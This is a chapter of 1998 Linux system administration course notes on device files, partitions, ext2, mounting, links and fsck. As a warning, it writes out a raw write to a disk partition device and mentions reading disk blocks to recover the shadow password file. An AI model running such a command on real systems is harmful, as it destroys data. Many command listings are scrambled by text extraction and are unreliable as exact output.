85321, Systems Administration

Chapter 10: Managing File Systems

Physical characteristics of device files

If you were to examine the output of the ls -al command on a device file, you'd see something like:
psyche:~/sanotes$ ls -al /dev/console crw--w--w1 jamiesob users 4, 0 Mar 31 09:28 /dev/console

In this case, we are examining the device file for the console. There are two major differences in the file listing of a device file from that of a "normal" file, for example:
psyche:~/sanotes$ ls -al iodev.html -rw-r--r-1 jamiesob users7938 Mar 31 12:49 iodev.html

The first difference is the first character of the "file permissions" grouping - this is actually the file type. On directories this is a "d", on "normal" files it will be blank but on devices it will be "c" or "b". This character indicates c for character mode or b for block mode. This is the way in which the device interacts - either character by character or in blocks of characters. For example, devices like the console output (and input) character by character. However, devices like hard disks read and write in blocks. You can see an example of a block device by the following:
psyche:~/sanotes$ ls -al /dev/had brw-rw---1 root disk 3, 0 Apr 28 1995 /dev/hda

(hda is the first hard drive) The second difference is the two numbers where the file size field usually is on a normal file. These two numbers (delimited by a comma) are the major and minor device numbers.

Major and minor device numbers are...

Major and minor device numbers are the way in which the kernel determines which device is being used, therefore what device driver is required. The kernel maintains a list of its available device drivers, given by the major number of a device file. When a device file is used (we will discuss this in the next section), the kernel runs the appropriate device driver, passing it the minor device number. The device driver determines which physical device is being used by the minor device number. For example:
psyche:~/sanotes$ ls -al /dev/hda brw-rw---1 root disk psyche:~/sanotes$ ls -al /dev/hdb brw-rw---1 root disk 3, 3, 0 Apr 28 64 Apr 28 1995 /dev/hda 1995 /dev/hdb

What this listing shows is that a device driver, major number 3, controls both hard drives hda and hdb. When those devices are used, the device driver will know which is which (physically) because hda has a minor device number of 0 and hdb has a minor device number of 64.

David Jones, Bruce Jamieson (15/10/98)

Page 222

85321, Systems Administration

Chapter 10: Managing File Systems

Why use device files?

It may seem using files is a roundabout method of accessing devices - what are the alternatives? Other operating systems provide system calls to interact with each device. This means that each program needs to know the exact system call to talk to a particular device. With UNIX and device files, this need is removed. With the standard open, read, write, append etc. system calls (provided by the kernel), a program may access any device (transparently) while the kernel determines what type of device it is and which device driver to use to process the call. [You will remember from Operating Systems that system calls are the services provided by the kernel for programs.] Using files also allows the system administrator to set permissions on particular devices and enforce security - we will discuss this in detail later. The most obvious advantage of using device files is shown by the way in which as a user, you can interact with them. For example, instead of writing a special program to play .AU sound files, you can simply:
psyche:~/sanotes$ cat test.au > /dev/audio

This command pipes the contents of the test.au file into the audio device. Two things to note: 1) This will only work for systems with audio (sound card) support compiled into the kernel (i.e. device drivers exist for the device file) and 2) this will only work for .AU files - try it with a .WAV and see (actually, listen) what happens. The reason for this is that .WAV (a Windows audio format) has to be interpreted first before it can be sent to the sound card. You will not probably need to be the root user to perform the above command as the /dev/audio device has write permissions to all users. However, don't cat anything to a device unless you know what you are doing - we will discuss why later.

Creating device files

There are two ways to create device files - the easy way or the hard way! The easy way involves using the Linux command MAKEDEV. This is actually a script that can be found in the /dev directory. MAKEDEV accepts a number of parameters (you can check what they are in the man pages. In general, MAKEDEV is run as:
/dev/MAKEDEV device

David Jones, Bruce Jamieson (15/10/98)

Page 223

85321, Systems Administration

Chapter 10: Managing File Systems

where device is the name of a device file. If for example, you accidentally erased or corrupted your console device file (/dev/console) then you'd recreate it by issuing the commend:
/dev/MAKEDEV console

NOTE! This must be done as the root user However, what if your /dev directory had been corrupted and you lost the MAKEDEV script? In this case you'd have to manually use the mknod command. With the mknod command you must know the major and minor device number as well as the type of device (character or block). To create a device file using mknod, you issue the command:
mknod device_file_name device_type major_number minor_number

For example, to create the device file for COM1 a.k.a. /dev/ttys0 (usually where the mouse is connected) you'd issue the command:
mknod /dev/ttyS0 c 4 240

Ok, so how do you know what type a device file is and what major and minor number it has so you can re-create it? The scouting (or is that the cubs?) solution to every problem in the world, be prepared, comes into play. Being a good system administrator, you'd have a listing of every device file stored in a file kept safely on disk. You'd issue the command:
ls -al /dev > /mnt/device_file_listing

before you lost your /dev directory in a cataclysmic disaster, so you could read the file and recreate the /dev structure (it might also be smart to copy the MAKEDEV script onto this same disk just to make your life easier :).
MAKEDEV is only found on Linux systems. It relies on the fact

that the major and minor devices numbers for the system are hard-coded into the script - running MAKEDEV on a non-Linux system won't work because: The device names are different The major and minor numbers of similar devices are different Note however that similar scripts to MAKEDEV can be found on most modern versions of UNIX.

The use and abuse of device files

Device files are used directly or indirectly in every application on a Linux system. When a user first logs in, they are assigned a particular device file for their terminal interaction. This file can be determined by issuing the command:
tty

For example:

David Jones, Bruce Jamieson (15/10/98)

Page 224

85321, Systems Administration

Chapter 10: Managing File Systems

psyche:~/sanotes$ tty /dev/ttyp1 psyche:~/sanotes$ ls -al /dev/ttyp1 crw------1 jamiesob tty4, 193 Apr

2 21:14 /dev/ttyp1

Notice that as a user, I actually own the device file! This is so I can write to the device file and read from it. When I log out, it will be returned to:
c--------/dev/ttyp1 1 root root 4, 193 Apr 2 20:33

Try the following:

read X < /dev/ttyp1 ; echo "I wrote $X" echo "hello there" > /dev/ttyp1

You should see something like:

psyche:~/sanotes$ read X < /dev/ttyp1 ; echo "I wrote $X" hello I wrote hello psyche:~/sanotes$ echo "hello there" > /dev/ttyp1 hello there

A very important device file is that which is assigned to your hard disk. In my case /dev/hda is my primary hard disk, its device file looks like:
brw-rw---1 root disk 3, 0 Apr 28 1995 /dev/hda

Note that as a normal user, I can't directly read and write to the hard disk device file - why do you think this is? Reading and writing to the hard disk is handled by an intermediary called the file system. We will examine the role of the file system in later sections, but for the time being, you should be aware that the file system decides how to use the disk, how to find data and where to store information about what is on the disk. Bypassing the file system and writing directly to the device file is a very dangerous thing - device drivers have no concept of file systems, files or even the data that is stored in them; device drivers are only interested in reading and writing chunks of data (called blocks) to physical sectors of the disk. For example, by directly writing a data file to a device file, you are effectively instructing the device driver to start writing blocks of data onto the disk from where ever the disk head was sitting! This can (depending on which sector and track the disk was set to) potentially wipe out the entire file structure, boot sector and all the data. Not a good idea to try it. NEVER should you issue a command like:
cat some_file > /dev/hda1

As a normal user, you can't do this - but you can as root! Reading directly from the device file is also a problem. While not physically damaging the data on the disk, by allowing users to directly read blocks, it is possible to obtain information about the system that would normally be
David Jones, Bruce Jamieson (15/10/98) Page 225

85321, Systems Administration

Chapter 10: Managing File Systems

restricted to them. For example, was someone clever enough to obtain a copy of the blocks on the disk where the shadow password file resided (a file normally protected by file permissions so users can view it), they could potentially reconstruct the file and run it through a crack program. Exercises
10.1

10.2

10.3

Use the tty command to find out what device file you are currently logged in from. In your home directory, create a device file called myterm that has the same major and minor device number. Log into another session and try redirecting output from a command to myterm. What happens? Use the tty command to find out what device file you are currently logged in on. Try using redirection commands to read and write directly to the device. With another user (or yourself in another session) change the permissions on the device file so that the other user can write to it (and you to theirs). Try reading and writing from each other's device files. Log into two terminals as root. Determine the device file used by one of the sessions, take note of its major and minor device number. Delete the device file - what happens to that session. Log out of the session - now what happens? Recreate the device file.

Devices, Partitions and File systems

Device files and partitions
Apart from general device files for entire disks, individual device files for partitions exist. These are important when trying to understand how individual "parts" of a file hierarchy may be spread over several types of file system, partitions and physical devices. Partitions are non-physical (I am deliberately avoiding the use of the word "logical" because this is a type of partition) divisions of a hard disk. IDE Hard disks may have 4 primary partitions, one of which must be a boot partition if the hard disk is the primary (modern systems have primary and secondary disk controllers) master (first hard disk) [this is the partition BIOS attempts to load a bootstrap program from at boot time]. Each primary partition can be marked as an extended partition which can be further divided into four logical partitions. By default, Linux provides device files for the four primary partitions and 4 logical partitions per primary/extended partition. For example, a listing of the device files for my primary master hard disk reveals:
brw-rw---brw-rw---brw-rw---brw-rw---brw-rw---1 1 1 1 1 root root root root root disk disk disk disk disk 3, 3, 3, 3, 3, 0 1 10 11 12 Apr Apr Apr Apr Apr 28 28 28 28 28 1995 1995 1995 1995 1995 /dev/hda /dev/hda1 /dev/hda10 /dev/hda11 /dev/hda12

David Jones, Bruce Jamieson (15/10/98)

Page 226

85321, Systems Administration

Chapter 10: Managing File Systems

brw-rw---brw-rw---brw-rw---brw-rw---brw-rw---brw-rw---brw-rw---brw-rw---brw-rw---brw-rw---brw-rw---brw-rw----

1 1 1 1 1 1 1 1 1 1 1 1

root root root root root root root root root root root root

disk disk disk disk disk disk disk disk disk disk disk disk

3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,

13 14 15 16 2 3 4 5 6 7 8 9

Apr Apr Apr Apr Apr Apr Apr Apr Apr Apr Apr Apr

28 28 28 28 28 28 28 28 28 28 28 28

1995 1995 1995 1995 1995 1995 1995 1995 1995 1995 1995 1995

/dev/hda13 /dev/hda14 /dev/hda15 /dev/hda16 /dev/hda2 /dev/hda3 /dev/hda4 /dev/hda5 /dev/hda6 /dev/hda7 /dev/hda8 /dev/hda9

Partitions are usually created by using a system utility such as fdisk. Generally fdisk will ONLY be used when a new operating system is installed or a new hard disk is attached to a system. Our existing hard disk would be /dev/hda1 (we will assume that we are using an IDE drive, otherwise we'd be using SCSI devices /dev/sd*). Our new hard disk (we'll make it a slave to the first) will be
/dev/hdb1.

Partitions and file systems

Every partition on a hard disk has an associated file system (the file system type is actually set when fdisk is run and a partition is created). For example, in DOS machines, it was usual to devote the entire hard disk (therefore the entire disk contained one primary partition) to the FAT (File Allocation Table) based file system. This is generally the case for most modern operating systems including Windows 95, Win NT and OS/2. However, there are occasions when you may wish to run multiple operating systems off the one disk; this is when a single disk will contain multiple partitions, each possibly containing a different file system. With UNIX systems, it is normal procedure to use multiple partitions in the file system structure. It is quite possible that the file system structure is spread over multiple partitions and devices, each a different "type" of file system. What do I mean by "type" of file system? Linux can support (or "understand", access, read and write to) many types of file systems including: minix, ext, ext2, umsdos, msdos, proc, nfs, iso9660, xenix, Sysv, coherent, hpfs. (There is also support for the Windows 95 and Win NT file system). A file system is simply a set or rules and algorithms for accessing files. Each system is different; one file system can't read the other. Like device drivers, file systems are compiled into the kernel - only file systems compiled into the kernel can be accessed by the kernel. To discover what file systems your system supports, you can display the contents of the /proc/filesystems file.

David Jones, Bruce Jamieson (15/10/98)

Page 227

85321, Systems Administration

Chapter 10: Managing File Systems

On our new disk, if we were going to use a file system that was not supported by the kernel, we would have to recompile the kernel at this point.

Partitions and Blocks

The smallest unit of information that can be read from or written to a disk is a block. Blocks can't be split up - two files can't use the same block, therefore even if a file only uses one byte of a block, it is still allocated the entire block. When partitions are created, the first block of every partition is reserved as the boot block. However, only one partition may act as a boot partition. BIOS checks the partition table of the first hard disk at boot time to determine which partition is the boot partition. In the boot block of the boot partition there exists a small program called a bootstrap loader - this program is executed at boot time by BIOS and is used to launch the OS. Systems that contain two or more operating systems use the boot block to house small programs that ask the user to chose which OS they wish to boot. One of these programs is called lilo and is provided with Linux systems. The second block on the partition is called the superblock. It contains all the information about the partition including information on: The size of the partition The physical address of the first data block The number and list of free blocks Information of what type of file system uses the partition When the partition was last modified The remaining blocks are data blocks. Exactly how they are used and what they contain are up to the file system using the partition.

Using the partitions

So how does Linux use these partitions and file systems? Linux logically attaches (this process is called mounting) different partitions and devices to parts of the directory structure. For example, a system may have:
/ mounted to /dev/hda1 /usr mounted to /dev/hda2 /home mounted to /dev/hda3 /usr/local mounted to /dev/hda4 /var/spool mounted to /dev/hdb1 /cdrom mounted to /dev/cdrom /mnt mounted to /dev/fd0

Yet to a user of the system, the physical location of the different parts of the directory structure is transparent! How does this work?

David Jones, Bruce Jamieson (15/10/98)

Page 228

85321, Systems Administration

Chapter 10: Managing File Systems

The Virtual File System

The Linux kernel contains a layer called the VFS (or Virtual File System). The VFS processes all file-oriented IO system calls. Based on the device that the operation is being performed on, the VFS decides which file system to use to further process the call. The exact list of processes that the kernel goes through when a system call is received follows along the lines of: A process makes a system call. The VFS decides what file system is associated with the device file that the system call was made on. The file system uses a series of calls (called Buffer Cache Functions) to interact with the device drivers for the particular device. The device drivers interact with the device controllers (hardware) and the actual required processes are performed on the device. Figure 10.1 represents this.

The

Fig ur e 1 0 .1 Vir tual File Syste m

David Jones, Bruce Jamieson (15/10/98)

Page 229

85321, Systems Administration

Chapter 10: Managing File Systems

Dividing up the file hierarchy - why?

Why would you bother partitioning a disk and using different partitions for different directories? The reasons are numerous and include: Separation Issues Different directory branches should be kept on different physical partitions for reasons including: Certain directories will contain data that will only need to be read, others will need to be both read and written. It is possible (and good practice) to mount these partitions restricting such operations. Directories including /tmp and /var/spool can fill up with files very quickly, especially if a process becomes unstable or the system is purposely flooded with email. This can cause problems. For example, let us assume that the /tmp directory is on the same partition as the /home directory. If the /tmp directory causes the partition to be filled no user will be able to write to their /home directory, there is no space. If /tmp and /home are on separate partitions the filling of the /tmp partition will not influence the /home directories. The logical division of system software, local software and home directories all lend themselves to separate partitions Backup Issues These include: Separating directories like /usr/local onto separate partitions makes the process of an OS upgrade easier - the new OS version can be installed over all partition except the partition that the /usr/local system exists on. Once installation is complete the /usr/local partition can be reattached. The actual size of the partition can make it easier to perform backups - it isn't as easy to backup a single 2.1 Gig partition as it is to backup four 500 Meg partitions. This does depend on the backup medium you are using. Some medium will handle a 2.1 Gb partition quite easily. Performance Issues By spreading the file system over several partitions and devices, the IO load is spread around. It is then possible to have multiple seek operations occurring simultaneously - this will improve the speed of the system. While splitting the directory hierarchy over multiple partitions does address the above issues, it isn't always that simple. A classic example of this is a system that contained its Web programs and data in the /var/spool directory. Obviously the correct location for this type of program is the /usr branch probably somewhere off the /usr/local system. The reason for this strange
David Jones, Bruce Jamieson (15/10/98) Page 230

85321, Systems Administration

Chapter 10: Managing File Systems

location? ALL the other partitions on the system were full or nearly full - this was the only place left to install the software! And the moral of the story is? When partitions are created for different branches of the file hierarchy, the future needs of the system must be considered - and even then, you won't always be able to adhere to what is "the technically correct" location to place software.

Scenario Update
At this point, we should consider how we are going to partition our new hard disk. As given by the scenario, our /home directory is using up a lot of space (we would find this out by using the du command). We have the option of devoting the entire hard disk to the /home structure but as it is a 2.5 Gig disk we could probably afford to divide it into a couple of partitions. As the /var/spool directory exists on the same partition as root, we have a potential problem of our root partition filling up - it might be an idea to separate this. As to the size of the partitions? As our system has just been connected to the Internet, our users have embraced FTP - our /home structure is consuming 200 Megabytes but we expect this to increase by a factor of 10 over the next 2 years. Our server is also receiving increased volumes of email, so our spool directory will have to be large. A split of 2 Gigabytes to 500 Megabytes will probably be reasonable. To create our partitions, we will use the fdisk program. We will create two primary partitions, one of 2 Gigabytes and one of 500 Megabytes - these we will mark as Linux partitions.

The Linux Native File System - ext2

Overview
Historically, Linux has had several native file systems. Originally there was Minix which supported file systems of up to 64 megabytes in size and 14 character file names. With the advent of the virtual file system (VFS) and support for multiple file systems, Linux has seen the development of Ext FS (Extended File System), Xia FS and the current ext2 FS.
ext2 (the second extended file system) has longer file names (255 characters),

larger file sizes (2 GB) and bigger file system support (4 TB) than any of the existing Linux file systems. In this section, we will examine how ext2 works.

I-Nodes
ext2 use a complex but extremely efficient method of organising block

allocation to files. This system relies on data structures called I-Nodes. Every file on the system is allocated an I-Node - there can never be more files than I-Nodes.

David Jones, Bruce Jamieson (15/10/98)

Page 231

85321, Systems Administration

Chapter 10: Managing File Systems

This is something to consider when you format a partition and create the file system - you will be asked how many I-Nodes you wish create. Generally, ten percent of the file system should be I-Nodes. This figure should be increased if the partition will contain lots of small files or decreased if the partition will contain few but large files. Figure 10.2 is a graphical representation on an I-Node.

Fig ur e 1 0 .2 I-No de Str uc tur e

Typically an I-Node will contain: The owner (UID) and group owner (GID) of the file. The type of file - is the file a directory or another type of special file? User access permissions - which users can do what with the file The number of hard links to the file - the same physical file may be accessed under several names; we will examine how later. The size of the file The time the file was last modified The time the I-Node was last changed - if permissions or information on the file change then the I-Node is changed. The addresses of 13 data blocks - data blocks are where the contents of the file are placed.
Page 232

David Jones, Bruce Jamieson (15/10/98)

85321, Systems Administration

Chapter 10: Managing File Systems

A single indirect pointer - this points to a special type of block called a single indirect block. This is a block that contains the addresses of at least 256 other data blocks; the exact number depends of the file system and implementation. A double indirect pointer - this points to a special type of block called a double indirect block. This block points to a number of single indirect blocks. A triple indirect pointer - this points to a special type of block called a triple indirect block. This block points to a number of double indirect blocks. Using this system, ext2 can cater for a file two gigabytes in size! However, just because an I-Node can access all those data blocks doesn't mean that they are automatically allocated to the file when it is created - obviously! As the file grows, blocks are allocated, starting with the first direct 13 data blocks, then moving on to the single indirect blocks, then to the double, then to the triple. Note that the actual name of the file is not stored in the I-Node. This is because the names of files are stored in directories, which are themselves files.

Physical Structure and Features

ext2 uses a decentralised file system management scheme involving a "block

group" concept. What this means is that the file systems are divided into a series of logical blocks. Each block contains a copy of critical information about the file systems (the super block and information about the file system) as well as an I-Node, and data block allocation tables and blocks. Generally, the information about a file (the I-Node) will be stored close to the data blocks. The entire system is very robust and makes file system recovery less difficult. The ext2 file system also has some special features which make it stand out from existing file systems including: Logical block size - the size of data blocks can be defined when the file system is created; this is not dependent on physical data block size. File system state checks - the file system keeps track of how many times it was "mounted " (or used) and what state it was left in at the last shutdown. The file system reserves 5% of the file system for the root user - this means that if a user program fills a partition, the partition is still useable by root (for recovery) because there is reserve space. A more comprehensive description of the ext2 file system can be found at http://web.mit.edu/tytso/www/linux/ext2.html .

David Jones, Bruce Jamieson (15/10/98)

Page 233

85321, Systems Administration

Chapter 10: Managing File Systems

Creating file systems

mkfs
Before a partition can be mounted (or used), it must first have a file system installed on it - with ext2, this is the process of creating I-Nodes and data blocks. This process is the equivalent of formatting the partition (similar to MSDOS's "format" command). Under Linux, the command to create a file system is called mkfs. The command is issued in the following way:
mkfs [-c] [ -t fstype ] filesys [ blocks ] eg. mkfs -t ext2 /dev/fd0 # Make a ext2 file system on a disk

where: -c forces a check for bad blocks -t fstype specifies the file system type filesys is either the device file associated with the partition or device OR is the directory where the file system is mounted (this is used to erase the old file system and create a new one) blocks specifies the number of blocks on the partition to allocate to the file system Be aware that creating a file system on a device with an existing file system will cause all data on the old file system to be erased.

Scenario Update
Having partitioned our disk, we must now install a file system on each partition.
ext2 is the logical choice. Be aware that this won't always be the case and you

should educate yourself on the various file systems available before making a choice. Assuming /dev/hdb1 is the 2GB partition and /dev/hdb2 is the 500 MB partition, we can create ext2 file systems using the commands:
mkfs -t ext2 -c /dev/hdb1 mkfs -t ext2 -c /dev/hdb2

This assumes the default block size and the default number of I-Nodes. If we wanted to be more specific about the number of I-Nodes and block size, we could specify them. mkfs actually calls other programs to create the file system - in the ext2 case, mke2fs. Generally, the defaults are fine - however, if we knew that we were only storing a few large files on a partition, then we'd reduce the I-Node to data block ratio. If we knew that we were storing lots of small files on a partition, we'd increase the I-Node to data block ration and

David Jones, Bruce Jamieson (15/10/98)

Page 234

85321, Systems Administration

Chapter 10: Managing File Systems

probably decrease the size of the data blocks (there is no point using 4K data blocks when the file size average is around 1K). Exercises
10.4

Create an ext2 file system on a floppy disk using the defaults. How much disk space can you use to store user information on the disk? How many I-nodes are on this disk? What is the smallest number of Inodes you can have on a disk? What restriction does this place on your use of the disk?

Mounting and UN-mounting Partitions and Devices

Mount
To attach a partition or device to part of the directory hierarchy you must mount its associated device file. To do this, you must first have a mount point - this is simply a directory where the device will be attached. This directory will exist on a previously mounted device (with the exception of the root directory (/) which is a special case) and will be empty. If the directory is not empty, then the files in the directory will no longer be visible while the device to mounted to it, but will reappear after the device has been disconnected (or unmounted). To mount a device , you use the mount command:
mount [switches] device_file mount_point

With some devices, mount will detect what type of file system exists on the device, however it is more usual to use mount in the form of:
mount [switches] -t file_system_type device_file mount_point

Generally, only the root user can use the mount command - mainly due to the fact that the device files are owned by root. For example, to mount the first partition on the second hard drive off the /usr directory and assuming it contained the ext2 file system you'd enter the command:
mount -t ext2 /dev/hdb1 /usr

A common device that is mounted is the floppy drive. A floppy disk generally contains the msdos file system (but not always) and is mounted with the command:
mount -t msdos /dev/fd0 /mnt

Note that the floppy disk was mounted under the /mnt directory? This is because the /mnt directory is the usual place to temporally mount devices.

David Jones, Bruce Jamieson (15/10/98)

Page 235

85321, Systems Administration

Chapter 10: Managing File Systems

To see what devices you currently have mounted, simply type the command mount. Typing it on my system reveals:
/dev/hda3 on / type ext2 (rw) /dev/hda1 on /dos type msdos (rw) none on /proc type proc (rw) /dev/cdrom on /cdrom type iso9660 (ro) /dev/fd0 on /mnt type msdos (rw)

Each line tells me what device file is mounted, where it is mounted, what file system type each partition is and how it is mounted (ro = read only, rw = read/write). Note the strange entry on line three - the proc file system? This is a special "virtual" file system used by Linux systems to store information about the kernel, processes and current resource usages. It is actually part of the system's memory - in other words, the kernel sets aside an area of memory which it stores information about the system in - this same area is mounted onto the file system so user programs can easily gain this information. To release a device and disconnect it from the file system, the umount command is used. It is issued in the form:
umount device_file or umount mount_point

For example, to release the floppy disk, you'd issue the command:
umount /mnt or umount /dev/fd0

Again, you must be the root user or a user with privileges to do this. You can't unmount a device/mount point that is in use by a user (the user's current working directory is within the mount point) or is in use by a process. Nor can you unmount devices/mount points which in turn have devices mounted to them. All of this begs the question - how does the system know which devices to mount when the OS boots?

Mounting with the /etc/fstab file

In true UNIX fashion, there is a file which governs the behaviour of mounting devices at boot time. In Linux, this file is /etc/fstab. But there is a problem if the fstab file lives in the /etc directory (a directory that will always be on the root partition (/)), how does the kernel get to the file without first mounting the root partition (to mount the root partition, you need to read the information in the /etc/fstab file!)? The answer to this involves understanding the kernel (a later chapter) - but in short, the system cheats! The kernel is "told" (how it is told doesn't concern us yet) on which partition to find the root file system; the kernel mounts this in read only mode, assuming the Linux native ext2 file system, then reads the fstab file and re-mounts the root partition (and others) according to instructions in the file. So what is in the file?

David Jones, Bruce Jamieson (15/10/98)

Page 236

85321, Systems Administration

Chapter 10: Managing File Systems

An example line from the fstab file uses the following format:
device_file mount_point file_system_type mount_options [n] [n]

The first three fields are self explanatory; the fourth field, mount_options defines how the device will be mounted (this includes information of access mode ro/rw, execute permissions and other information) - information on this can be found in the mount man pages (note that this field usually contains the word "defaults"). The fifth and sixth fields will usually either not be included or be "1" - these two fields are used by the system utilities dump and fsck respectively - see the man pages for details. As an example, the following is my /etc/fstab file:
/dev/hda3/ext2 defaults /dev/hda1/dos msdos /dev/hda2 swap swap none /proc proc defaults defaults 1 1 1 1 1 1

As you can see, most of my file system exists on a single partition (this is very bad!) with my DOS partition mounted on the /dos directory (so I can easily transfer files on and off my DOS system). The third line is one which we have not discussed yet - swap partitions. The swap partition is the place where the Linux kernel keeps pages swapped out of virtual memory. Most Linux systems should access a swap partition - you should create a swap partition with a program such as fdisk before the Linux OS is installed. In this case, the entry in the /etc/fstab file tells the system that /dev/hda2 contains the swap partition - the system recognises that there is no device nor any mount point called "swap", but keeps this information within the kernel (this also applies to the fourth line pertaining to the proc file system). However, do you notice anything missing? What about the CDROM? On my system the CDROM is actually mounted by a script called /etc/rc.d/rc.cdrom - this script is error tolerant and won't cause problems if I don't actually have a CD in the drive at the time.

Scenario Update
The time has come for us to use our partitions. The following procedure should be followed: Mount each partition (one at a time) off /mnt Eg.
mount -t ext2 -o defaults /dev/hdb1 /mnt

Copy the files from the directory that is going to reside on the partition TO the partition Eg.
cp - a /home /mnt

Modify the /etc/fstab file to mount the partition off the correct directory Eg.
/dev/hdb1 /home ext2 defaults 1 1

Test your changes by rebooting and using the partition

David Jones, Bruce Jamieson (15/10/98)

Page 237

85321, Systems Administration

Chapter 10: Managing File Systems

Unmount the partition and remove the old files (or back them up).
umount /home rm -r /home mount -t ext2 -o defaults /dev/hdb1 /home

The new hard disk should be now installed and configured correctly! Exercises
10.5 10.6 10.7

Mount a floppy disk under the /mnt directory. Carefully examine your /etc/fstab file - work out what each entry means. Change to the /mnt directory (while the disk is mounted) - now try to unmount the disk - does this work? Why/Why not?

File Operations
Creating a file
When a file is created, the following process is performed: An I-Node is allocated to the file. An entry is added to the current directory - remember, the directory is a file itself. This entry contains the name of the file and a pointer to I-Node used by the file. The link count on the file's I-Node is set to 1 (any I-Node with a link count of 0 is not in use). Any blocks required to store the file contents are allocated.

Linking files
As we have previously encountered, there are occasions when you will want to access a file from several locations or by several names. The process of doing this is called linking. There are two methods of doing this - Hard Linking and Soft Linking. Hard Links are generated by the following process: An entry is added to the current directory with the name of the link together with a pointer to the I-Node used by the original file. The I-Node of the original file is updated and the number of files linked to it is incremented. Soft Links are generated by the following process: An I-Node is allocated to the soft link file - the type of file is set to softlink. An entry is added to the current directory with the name of the link together with a pointer to the allocated I-Node. A data block is allocated for the link in which is placed the name of the original file.

David Jones, Bruce Jamieson (15/10/98)

Page 238

85321, Systems Administration

Chapter 10: Managing File Systems

Programs accessing a soft link cause the file system to examine the location of the original (linked-to) file and then carry out operations on that file. The following should be noted about links: Hard links may only be performed between files on the same physical partition - the reason for this is that I-Nodes pointers can only point to INodes of the same partition Any operation performed on the data in link is performed on the original file. Any chmod operations performed on a hard link are reflected on both the hard link file and the file it is linked to. chmod operations on soft links are reflected on the original file but not on the soft link - the soft link will always have full file permissions (lrwxrwxrwx) . So how do you perform these mysterious links?

ln
The command for both hard and soft link files is ln. It is executed in the following way:
ln source_file link_file_name # Hard Links or ln -s source_file link_file_name# Soft Links

For example, look at the following operations on links: Create the file and check the ls listing:
psyche:~$ touch base psyche:~$ ls -al base -rw-r--r-1 jamiesob users

0 Apr

5 17:09 base

Create a soft link and check the ls listing of it and the original file
psyche:~$ ln psyche:~$ ls lrwxrwxrwx psyche:~$ ls -rw-r--r--s base softbase -al softbase 1 jamiesob users -al base 1 jamiesob users

4 Apr 0 Apr

5 17:09 softbase -> base 5 17:09 base

Create a hard link and check the ls listing of it, the soft link and the original file
psyche:~$ ln base hardbase psyche:~$ ls -al hardbase -rw-r--r-2 jamiesob users 0 Apr psyche:~$ ls -al base -rw-r--r-2 jamiesob users 0 Apr psyche:~$ ls -il base 132307 -rw-r--r-2 jamiesob users psyche:~$ ls -il softbase 132308 lrwxrwxrwx 1 jamiesob users psyche:~$ ls -il hardbase 132307 -rw-r--r-2 jamiesob users

5 17:09 hardbase 5 17:09 base 0 Apr 4 Apr 0 Apr 5 17:09 base 5 17:09 softbase ->base 5 17:09 hardbase

Note the last three operations (checking the I-Node number) - see how the hard link shares the I-Node of the original file? Links are removed by simply deleting

David Jones, Bruce Jamieson (15/10/98)

Page 239

85321, Systems Administration

Chapter 10: Managing File Systems

the link with the rm (or on non-Linux systems unlink) command. Note that deleting a file that has soft links is different to deleting a file with hard links deleting a soft-linked file causes the I-Node (thus data blocks) to be deallocated - no provision is made for the soft link which is now "pointing" to a file that doesn't exist. However, a file with hard links to it has its entry removed from the directory, but neither its I-Node nor data blocks are deallocated - the link count on the INode is simply decremented. The I-Node and data blocks will only be deallocated when there are no other files hard linked to it. Exercises
10.8

Locate all files on the system that are soft links (Hint: use find).

Checking the file system

Why Me?
It is a sad truism that anything that can go wrong will go wrong - especially if you don't have backups! In any event, file system "crashes" or problems are an inevitable fact of life for a System Administrator. Crashes of a non-physical nature (i.e. the file system becomes corrupted) are non-fatal events - there are things a system administrator can do before issuing the last rites and restoring from one of their copious backups :) You will be informed of the fact that a file system is corrupted by a harmless, but feared little messages at boot time, something like:
Can't mount /dev/hda1

If you are lucky, the system will ignore the file system problems and try to mount the corrupted partition READ ONLY. It is at this point that most people enter a hyperactive frenzy of swearing, violent screaming tantrums and self-destructive cranial impact diversions (head butting the wall).

What to do
It is important to establish that the problem is logical, not physical. There is little you can do if a disk head has crashed (on the therapeutic side, taking the offending hard disk into the car park and beating it with a stick can produce favourable results). A logical crash is something that is caused by the file system becoming confused. Things like: Many files using the one data block. Blocks marked as free but being used and vice versa. Incorrect link counts on I-Nodes. Differences in the "size of file" field in the I-Node and the number of data blocks actually used.
David Jones, Bruce Jamieson (15/10/98) Page 240

85321, Systems Administration

Chapter 10: Managing File Systems

Illegal blocks within files. I-Nodes contain information but are not in any directory entry (these type of files, when recovered, are placed in the lost+found directory). Directory entries that point to illegal or unallocated I-Nodes. are the product of file system confusion. These problems will be detected and (usually) fixed by a program called fsck.

fsck
fsck is actually run at boot time on most Linux systems. Every x number of boots, fsck will do a comprehensive file system check. In most cases, these boot time runs of fsck automatically fix problems - though occasionally you may be prompted to confirm some fsck action. If however, fsck reports some drastic problem at boot time, you will usually be thrown in to the root account and issued a message like:
************************************** fsck returned error code - REBOOT NOW! **************************************

It is probably a good idea to manually run fsck on the offending device at this point (we will get onto how in a minute). At worst, you will get a message saying that the system can't mount the file system at all and you have to reboot. It is at this point you should drag out your rescue disks (which of course contain a copy of fsck) and reboot using them. The reason for booting from an alternate source (with its own file system) is because it is quite possible that the location of the fsck program (/sbin) has become corrupted as has the fsck binary itself! It is also a good idea to run fsck only on unmounted file systems.

Using fsck
fsck is run by issuing the command:
fsck file_system

where file_system is a device or directory from which a device is mounted. fsck will do a check on all I-Nodes, blocks and directory entries. If it encounters a problem to be fixed, it will prompt you with a message. If the message asks if fsck can SALVAGE, FIX, CONTINUE, RECONNECT or ADJUST, then it is usually safe to let it. Requests involving REMOVE and CLEAR should be treated with more caution.

What caused the problem?

Problems with the file system are caused by: People turning off the power on a machine without going through the shutdown process - this is because Linux uses a very smart READ and WRITE disk cache - this cache is only flushed (or written to disk)
David Jones, Bruce Jamieson (15/10/98) Page 241

85321, Systems Administration

Chapter 10: Managing File Systems

periodically and on shutdown. fsck will usually fix these problems at the next boot. Program crashes - problems usually occur when a program is using several files and suddenly crashes without closing them. fsck usually easily fixes these problems. Kernel and system crashes - the kernel may become unstable (especially if you are using new, experimental kernels) and crash the system. Depending on the circumstances, the file system will usually be recoverable. Exercises
10.9

Mount the disk created in an earlier exercise. Copy the contents of your home directory to the disk. Now copy the kernel to it (/vmlinuz) but during the copy eject the disk. Now run fsck on that disk.

Conclusion
Having read and absorbed this chapter you will be aware that: Linux supports many file systems and that the process of using many file systems, partitions and devices acting in concert to produce a directory structure allows for greater flexibility, performance and system integrity.

Review questions
